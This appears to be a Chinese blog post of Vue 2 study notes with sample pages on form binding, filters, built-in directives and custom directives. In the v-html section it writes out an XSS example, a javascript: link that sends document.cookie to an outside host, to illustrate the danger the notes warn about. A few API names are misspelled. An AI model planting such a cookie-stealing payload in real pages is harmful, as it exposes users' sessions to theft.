【Vue】Vue2.0+Vue3.0学习笔记day05

目录

038.收集表单数据

039.过滤器

040.v-text指令

041.v-html指令

042.v-cloak指令

043.v-once指令、

044.v-pre指令

045.自定义指令_函数式

046.自定义指令_对象式

047.自定义指令_总结


038.收集表单数据

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>收集表单数据</title>
    
    <!-- 引入Vue -->
    <script src="../js/vue.js"></script>
</head>

<body>
    <!-- 
         收集表单数据:
           若:<input type="text">,则v-model收集的是value值,用户输入的就是value值                   
           若:<input type="radio">,则v-model收集的是value值,且要给标签配置value值                   
           若:<input type="checkbox">
              1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
              2.配置input属性:
                1 v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
                2 v-model的初始值是数组,那么收集的就是value组成的数组
           备注:v-model的三个修饰符:
              lazy:失去焦点再收集数据
              number:输入字符串转为有效的数字
              trim:输入首尾空格过滤                        
    -->
     
    <!-- 准备好一个容器 -->
    <div id="root">
        <!-- 表单  表单提交默认跳转页面,prevent阻止跳转 -->
        <form @submit.prevent="demo">
            <!-- 点击"账号:"输入框获取焦点
            <label for="demo">账号:</label>
            <input type="text" id="demo"> -->
            账号:<input type="text" v-model.trim="userInfo.account"><br><br>
            <!-- 密码隐藏 -->
            密码:<input type="password" v-model="userInfo.password"><br><br>
            年龄:<input type="number" v-model.number="userInfo.age"><br><br>
            性别:
            <!-- 单选框 name控制只能选中一个-->
            男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
            女<input type="radio" name="sex" v-model="userInfo.sex" value="female"><br><br>
            爱好:
            <!-- 复选框 -->
            唱跳<input type="checkbox" v-model="userInfo.hobby" value="Sing dance">
            rep<input type="checkbox" v-model="userInfo.hobby" value="rep">
            篮球<input type="checkbox" v-model="userInfo.hobby" value="basketball"><br><br>
            所属校区
            <!-- 下拉框 -->
            <select v-model="userInfo.city">
                <option value="">请选择校区</option>
                <option value="beijing">北京</option>
                <option value="shanghai">上海</option>
                <option value="guangzhou">广州</option>
                <option value="shenzhen">深圳</option>
            </select><br><br>
            其他信息:
            <textarea v-model.lazy="userInfo.other"></textarea><br><br>
            <input type="checkbox" v-model="userInfo.agree"> 阅读并接受<a href="https://blog.csdn.net/weixin_58214412?spm=1008.2028.3001.5343">《用户协议》</a>
            <button>提交</button>
        </form>
    </div>

    <script>
        Vue.config.productionTip = false //以阻止 Vue 在启动时生成生产提示
        const vm=new Vue({
            el:'#root', //el用于指定当前vue实例为哪个容器服务,值通常为CSS选择器字符串
            data:{ // data用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象
                userInfo:{
                    account:'',
                    password:'',
                    age:"",
                    sex:'female',
                    hobby:[],
                    city:'',
                    other:'',
                    agree:''
                }
            },
            methods: {
                demo(){
                    console.log(JSON.stringify(this.userInfo));
                }
            },
        })
    </script>
</body>

</html>

039.过滤器

处理时间戳首先我们要安装dayjs,链接地址

【Vue】Vue2.0+Vue3.0学习笔记day05

【Vue】Vue2.0+Vue3.0学习笔记day05 【Vue】Vue2.0+Vue3.0学习笔记day05

【Vue】Vue2.0+Vue3.0学习笔记day05

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>过滤器</title>
    
    <!-- 引入Vue -->
    <script src="../js/vue.js"></script>
    <script src="../js/dayjs.min.js"></script>
</head>

<body>
    <!-- 
         过滤器
            定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)
            语法:
              1 注册过滤器:全局:Vue.fliter('name',callback)或 局部:new Vue({filters:{}}) 
              2 使用过滤器:{{xxx | 过滤器名}} 或v-bind:属性="xxx | 过滤器名"
            备注:
              1 过滤器也可以接收额外参数、多个过滤器也可以串联
              2 并没有改变原本的数据,是产生了新的对应数据                     
    -->
     
    <!-- 准备好一个容器 -->
    <div id="root">
        <h1>显示格式化后的时间</h1>
        <!-- 计算属性实现 -->
        <h2>现在是:{{fmTime}}</h2>
        <!-- methods实现 -->
        <h2>现在是:{{getFmTime()}}</h2>
        <!-- 过滤器(filters)实现 -->
        <h3>现在是:{{time | timeFormater}}</h3>
        <!-- 过滤器传参 -->
        <h3>现在是:{{time | timeFormater('YYYY年MM月DD日')}}</h3>
        <!-- 过滤器切片(截取) -->
        <h3>现在是:{{time | timeFormater('YYYY年MM月DD日') | mySlice}}</h3>
        <h2 :x="name |mySlice">{{name}}</h2>
    </div>

    <div id="root2">
        <h1>{{msg | mySlice}}</h1>
    </div>

    <script>
        Vue.config.productionTip = false //以阻止 Vue 在启动时生成生产提示
        // 全局过滤器
        Vue.filter('mySlice',function(value){
            return value.slice(0,5)
        })

        new Vue({
            el:'#root', //el用于指定当前vue实例为哪个容器服务,值通常为CSS选择器字符串
            data:{ // data用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象
                time:1621561377603, //时间戳
                name:'你好,西西歪'
            },
            computed:{
                fmTime(){
                    return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss');
                }
            },
            methods: {
                getFmTime(){
                    return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss');
                }
            },
            // 局部过滤器
            filters:{
               /*  timeFormater(value){
                   // value值等于time
                    return dayjs(value).format('YYYY-MM-DD HH:mm:ss');
                } */
                timeFormater(value,str="YYYY-MM-DD HH:mm:ss"){
                    return dayjs(value).format(str);
                },
                /* mySlice(value){
                    return value.slice(0,5)
                } */
            }
        })

        new Vue({
            el:'#root2',
            data:{ 
                msg:'hello,西西歪'
            },
        })
    </script>
</body>

</html>

040.v-text指令

【Vue】Vue2.0+Vue3.0学习笔记day05

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>v-text_指令</title>
    
    <!-- 引入Vue -->
    <script src="../js/vue.js"></script>
</head>

<body>
    <!-- 
        之前学过的指令:
          v-bind:单向绑定解析表达式
          v-model:双向数据绑定
          v-for:遍历数组/对象/字符串
          v-on:绑定事件监听,可简写为@
          v-if:条件渲染(动态控制节点是否存在)
          v-else:条件渲染(动态控制节点是否存在)
          v-show:条件渲染(动态控制节点是否展示)
          
        v-text指令:
           1.作用:向其所在的节点渲染文本内容
           2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会                    
    -->
     
    <!-- 准备好一个容器 -->
    <div id="root">
        <div>{{name}}</div>
        <div v-text="name"></div>
        <div>你好,{{name}}</div>
        <div v-text="name">你好,</div>
        <div v-text="str"></div>
    </div>

    <script>
        Vue.config.productionTip = false //以阻止 Vue 在启动时生成生产提示
        new Vue({
            el:'#root', //el用于指定当前vue实例为哪个容器服务,值通常为CSS选择器字符串
            data:{ // data用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象
                name:'西西歪',
                v-text把所有字符串都当成文本解析,不会当成标签
                str:'<h3>你好啊</h3>'
            },
        })
    </script>
</body>

</html>

041.v-html指令

【Vue】Vue2.0+Vue3.0学习笔记day05

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>v-html_指令</title>
    
    <!-- 引入Vue -->
    <script src="../js/vue.js"></script>
</head>

<body>
    <!-- 
        之前学过的指令:
          v-bind:单向绑定解析表达式
          v-model:双向数据绑定
          v-for:遍历数组/对象/字符串
          v-on:绑定事件监听,可简写为@
          v-if:条件渲染(动态控制节点是否存在)
          v-else:条件渲染(动态控制节点是否存在)
          v-show:条件渲染(动态控制节点是否展示)
          
        v-html指令:
           1.作用:向指定节点中渲染包含html结构的内容
           2.与插值语法的区别:
              1 v-html会替换掉节点中所有的内容,{{xx}}则不会  
              2 v-html可以识别html结构
           3.严重注意:
              1 在网站上动态渲染任意HTML是非常危险的,容易导致xss攻击
              2 一定要在可信任的内容上使用v-html,永不要用在用户提交的内容上                     
    -->
     
    <!-- 准备好一个容器 -->
    <div id="root">
        <div>你好,{{name}}</div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>

    <script>
        Vue.config.productionTip = false //以阻止 Vue 在启动时生成生产提示
        new Vue({
            el:'#root', //el用于指定当前vue实例为哪个容器服务,值通常为CSS选择器字符串
            data:{ // data用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象
                name:'西西歪',
                str:'<h3>你好啊</h3>',
                str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>快来</a>'
            },
        })
    </script>
</body>

</html>

042.v-cloak指令

把<script src="../js/vue.js"></script>放在模板下面,当网速慢的时候,vue还没加载回来未经解析的模板就出来来页面上,v-cloak配合CSS使用可以让未经解析的模板{{name}}不显示

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>v-cloak_指令 </title>
    <style>
        [v-cloak]{
            display: none;
        }
    </style>
</head>

<body>
    <!-- 
        之前学过的指令:
          v-bind:单向绑定解析表达式
          v-model:双向数据绑定
          v-for:遍历数组/对象/字符串
          v-on:绑定事件监听,可简写为@
          v-if:条件渲染(动态控制节点是否存在)
          v-else:条件渲染(动态控制节点是否存在)
          v-show:条件渲染(动态控制节点是否展示)
          
        v-cloak指令(没有值):
           1.本质上是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
           2.使用CSS配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
                                
    -->

    <!-- 准备好一个容器 -->
    <div id="root">
        <div v-cloak>{{name}}</div>
    </div>
    <!-- 引入Vue -->
    <script src="../js/vue.js"></script>
</body>

<script>
    Vue.config.productionTip = false //以阻止 Vue 在启动时生成生产提示
    new Vue({
        el: '#root', //el用于指定当前vue实例为哪个容器服务,值通常为CSS选择器字符串
        data: { // data用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象
            name: '西西歪'
        },
    })
</script>

</html>

043.v-once指令、

【Vue】Vue2.0+Vue3.0学习笔记day05

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>v-once_指令 </title>
    <!-- 引入Vue -->
    <script src="../js/vue.js"></script>
</head>

<body>
    <!-- 
        之前学过的指令:
          v-bind:单向绑定解析表达式
          v-model:双向数据绑定
          v-for:遍历数组/对象/字符串
          v-on:绑定事件监听,可简写为@
          v-if:条件渲染(动态控制节点是否存在)
          v-else:条件渲染(动态控制节点是否存在)
          v-show:条件渲染(动态控制节点是否展示)
          
        v-once指令:
           1.v-once所在节点在初次动态渲染后,就视为静态内容
           2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
                                
    -->

    <!-- 准备好一个容器 -->
    <div id="root">
        <h2 v-once>初始化的n值是:{{n}}</h2>
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>

<script>
    Vue.config.productionTip = false //以阻止 Vue 在启动时生成生产提示
    new Vue({
        el: '#root', //el用于指定当前vue实例为哪个容器服务,值通常为CSS选择器字符串
        data: { // data用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象
            n:1
        },
    })
</script>

</html>

044.v-pre指令

【Vue】Vue2.0+Vue3.0学习笔记day05

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>v-pre_指令 </title>
    <!-- 引入Vue -->
    <script src="../js/vue.js"></script>
</head>

<body>
    <!-- 
        之前学过的指令:
          v-bind:单向绑定解析表达式
          v-model:双向数据绑定
          v-for:遍历数组/对象/字符串
          v-on:绑定事件监听,可简写为@
          v-if:条件渲染(动态控制节点是否存在)
          v-else:条件渲染(动态控制节点是否存在)
          v-show:条件渲染(动态控制节点是否展示)
          
        v-pre指令:
           1.跳过其所在节点的编译过程
           2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点、会加快编译
                                
    -->

    <!-- 准备好一个容器 -->
    <div id="root">
        <h2 v-pre>vue其实很简单</h2>
        <h2 v-pre>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>

<script>
    Vue.config.productionTip = false //以阻止 Vue 在启动时生成生产提示
    new Vue({
        el: '#root', //el用于指定当前vue实例为哪个容器服务,值通常为CSS选择器字符串
        data: { // data用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象
            n:1
        },
    })
</script>

</html>

045.自定义指令_函数式

【Vue】Vue2.0+Vue3.0学习笔记day05

 

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>自定义指令_函数式</title>
    <!-- 引入Vue -->
    <script src="../js/vue.js"></script>
</head>

<body>
    <!-- 
        之前学过的指令:
          v-bind:单向绑定解析表达式
          v-model:双向数据绑定
          v-for:遍历数组/对象/字符串
          v-on:绑定事件监听,可简写为@
          v-if:条件渲染(动态控制节点是否存在)
          v-else:条件渲染(动态控制节点是否存在)
          v-show:条件渲染(动态控制节点是否展示)
          
        需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
        需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
                                
    -->

    <!-- 准备好一个容器 -->
    <div id="root">
        <h2><span v-text="n"></span></h2>
        <h2>放大10倍的值是:<span v-big="n"></span></h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>

<script>
    Vue.config.productionTip = false //以阻止 Vue 在启动时生成生产提示
    new Vue({
        el: '#root', //el用于指定当前vue实例为哪个容器服务,值通常为CSS选择器字符串
        data: { // data用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象
            n:1
        },
        // 定义指令
        directives:{
            // big函数何时被调用?1.指令与元素成功绑定时(一上来)2.指令所在的模板被重新解时
            big(element,binding){
                console.log('big',this); //此this是Windows的
                // 形参element是真实DOM,形参binding是绑定元素返回的一个对象,innerText是元素本文
                element.innerText=binding.value*10
            }
        }
    })
</script>

</html>

046.自定义指令_对象式

【Vue】Vue2.0+Vue3.0学习笔记day05

 

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>自定义指令</title>
    <!-- 引入Vue -->
    <script src="../js/vue.js"></script>
</head>

<body>
    <!-- 
        之前学过的指令:
          v-bind:单向绑定解析表达式
          v-model:双向数据绑定
          v-for:遍历数组/对象/字符串
          v-on:绑定事件监听,可简写为@
          v-if:条件渲染(动态控制节点是否存在)
          v-else:条件渲染(动态控制节点是否存在)
          v-show:条件渲染(动态控制节点是否展示)
          
        需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
        需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
                                
    -->

    <!-- 准备好一个容器 -->
    <div id="root">
        <h2><span v-text="n"></span></h2>
        <h2>放大10倍的值是:<span v-big="n"></span></h2>
        <button @click="n++">点我n+1</button>
        <hr>
        <input type="text" v-fbind:value="n">
    </div>
</body>

<script>
    Vue.config.productionTip = false //以阻止 Vue 在启动时生成生产提示
    new Vue({
        el: '#root', //el用于指定当前vue实例为哪个容器服务,值通常为CSS选择器字符串
        data: { // data用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象
            n:1
        },
        // 定义指令
        directives:{
            // big函数何时被调用?1.指令与元素成功绑定时(一上来)2.指令所在的模板被重新解析时
            big(element,binding){
                console.log('big',this); //此this是Windows的
                // 形参element是真实DOM,形参binding是绑定元素返回的一个对象,innerText是元素本文
                element.innerText=binding.value*10
            },
            fbind:{
                // 指令与元素成功绑定时(一上来)
                bind(element,binding){
                    element.value=binding.value
                },
                // 指令所在元素被插入页面时
                inserted(element,binding){
                    // 获取焦点
                    element.focus()
                },
                // 指令所在的模板被重新解析时
                update(element,binding){
                    element.value=binding.value
                }
            }
        }
    })
</script>

</html>

047.自定义指令_总结

    <!-- 
        之前学过的指令:
          v-bind:单向绑定解析表达式
          v-model:双向数据绑定
          v-for:遍历数组/对象/字符串
          v-on:绑定事件监听,可简写为@
          v-if:条件渲染(动态控制节点是否存在)
          v-else:条件渲染(动态控制节点是否存在)
          v-show:条件渲染(动态控制节点是否展示)
          
        需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
        需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
        自定义指令总结:
           1.定义语法:
               1 局部指令:new Vue({directives:{指令名:配置对象}}) 或new Vue({directives:{指令名:回调函数}})
               2 全局指令:Vue.directives('指令名',配置对象) 或 Vue.directives('指令名',回调函数)
           2.配置对象中常用的3个回调:
               1 bind:指令与元素绑定成功时调用
               2 inserted:指令所在元素被插入页面时调用
               3 update:指令所在模板结构被重新解析时调用
           3.备注:
               1 指令定义时不加v-,但使用时要加v-
               指令名如果是多个单词要使用kebab-case命名方式,不要用camelCase命名        
                                
    -->

上一篇:bouncycastle类打包报错解决方法


下一篇:vue自定义指令